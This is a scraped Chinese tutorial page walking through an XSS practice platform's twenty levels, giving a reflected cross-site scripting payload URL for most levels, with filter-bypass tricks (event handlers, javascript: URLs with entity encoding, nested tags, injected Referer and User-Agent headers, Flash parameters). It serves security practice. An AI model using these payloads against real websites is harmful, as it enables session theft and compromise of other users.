PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了xss挑战 1大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

说明

一个xss练习平台,在线地址:http://test.xss.tv/

xss用法js总结

AwesomeXSS

xss的常规思路:

@H_262_10@LEVEL-1

xss挑战 1

xss挑战 1

payload

http://test.ctf8.com/level1.PHP?name=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://test.ctf8.com/level1.PHP?name=%3Csvg/onload=alert(1)%3E
http://test.ctf8.com/level1.PHP?name=%3Cimg%20src=1%20onerror=alert(1)%3E 
http://test.ctf8.com/level1.PHP?name=%%3Ca%20href=%22javascript:alert(1)%22%3Etest%3C/a%3E 

xss挑战 1

LEVEL-2

xss挑战 1

xss挑战 1

xss挑战 1

显而易见,上面尖括号被过滤了,而下面却没有

PHP中 ' 中的变量不会执行

"中的变量执行。只要闭合双引号即可

payload

http://test.ctf8.com/level2.PHP?keyword=%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E
http://test.ctf8.com/level4.PHP?keyword="onclick="window.alert()

xss挑战 1

LEVEL-3

xss挑战 1

xss挑战 1

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

payload

http://test.ctf8.com/level3.PHP?keyword=%27onclick%3D%27window.alert%28%29&submit=%E6%90%9C%E7%B4%A2

xss挑战 1

LEVEL-4

xss挑战 1

xss挑战 1

payload

http://test.ctf8.com/level4.PHP?keyword=%22onmouSEOver=%22alert(1)

xss挑战 1

LEVEL-5

xss挑战 1

xss挑战 1

但是这串代码没有过滤<字符和>字符,那么我们可以使用标签的href属性构造payload进行弹窗
payload

http://test.ctf8.com/level5.PHP?keyword=%22%3E%20%3Ca%20href=%22javascript:alert(1)%22%3Exss%3C/a%3E

xss挑战 1

LEVEL-6

xss挑战 1


xss挑战 1

payload

http://test.ctf8.com/level6.PHP?keyword=%22ONclick%3D%22window.alert%28%29&submit=%E6%90%9C%E7%B4%A2

xss挑战 1

LEVEL-7

xss挑战 1


xss挑战 1

payload

http://test.ctf8.com/level7.PHP?keyword=%22%3E%3CScrscriptipt%3Ealert(1)%3C/Scriscriptpt%3E

xss挑战 1

LEVEL-8

xss挑战 1


xss挑战 1

Javascript:伪协议后面可以使用URL编码。
        如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
        可用img就不行:<img src=1 one rror="javascript:%61lert(1)">
        因为href属性跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
        <a href="javascript:%61lert(1)">click me</a>

payload

http://test.ctf8.com/level8.PHP?keyword=javascri%26%23x0070%3Bt%3Aalert%28%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

xss挑战 1

LEVEL-9

xss挑战 1

xss挑战 1

只要让它检测到http,却不能起到作用就可以了,所以可以用注释

payload

http://test.ctf8.com/level9.PHP?keyword=javascri%26%23x0070%3Bt%3Aalert%281%29%2F*http%3A%2F%2Fwww.baidu.com*%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

xss挑战 1

LEVEL-10

xss挑战 1

xss挑战 1

payload

http://test.ctf8.com/level10.PHP?keyword%20=%20test&t_sort=%22type=%22text%22%20onclick%20=%20%22alert(1)

xss挑战 1

LEVEL-11

xss挑战 1

xss挑战 1

xss挑战 1

payload

Referer: "onclick=alert(1) type="text"  //所添加的Referer头部

xss挑战 1

LEVEL-12

xss挑战 1

@H_674_391@

payload

@H_52_31@mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " onclick=alert(1) type="text

xss挑战 1

xss挑战 1

LEVEL-13

xss挑战 1


xss挑战 1


xss挑战 1

payload

user=call+me+maybe%3F " onclick=alert(1) type="text"

xss挑战 1

LEVEL-14

xss挑战 1


xss挑战 1


查看源码,点击

xss挑战 1

这关目前做不了,我再看看

LEVEL-15

xss挑战 1


xss挑战 1


payload

http://127.0.0.1/xss练习小游戏/level15.PHP?src='level1.PHP?name=<img src=x one rror=alert(1)>'

xss挑战 1

LEVEL-16

xss挑战 1


xss挑战 1

payload

http://127.0.0.1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F/level16.PHP?keyword=%3Cimg%0dsrc=1%0donerror=alert()%3E

xss挑战 1

LEVEL-17

xss挑战 1


xss挑战 1

过滤了尖括号和双引号,用on事件触发
payload

http://127.0.0.1/xss练习小游戏/level17.PHP?arg01=a&arg02=b%20onclick=alert(1)

xss挑战 1

LEVEL-18

xss挑战 1


xss挑战 1

payload

http://127.0.0.1/xss练习小游戏/level18.PHP?arg01=a&arg02=%20onclick=alert(1)

xss挑战 1

LEVEL-19

19,20均为flash分析
需要

xss挑战 1

xss挑战 1


@H_809_616@

payload

http://127.0.0.1/xss练习小游戏/level19.PHP?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

xss挑战 1

LEVEL-20

xss挑战 1


具体可以参freebuf
确实很少碰到,算flash中xss少的了

payload

http://127.0.0.1/xss练习小游戏/level20.PHP?arg01=id&arg02=\%22))}catch(E){}if(!self.a)self.a=!alert(document.cookiE)//%26width%26height

大佬总结

以上是大佬教程为你收集整理的xss挑战 1全部内容,希望文章能够帮你解决xss挑战 1所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: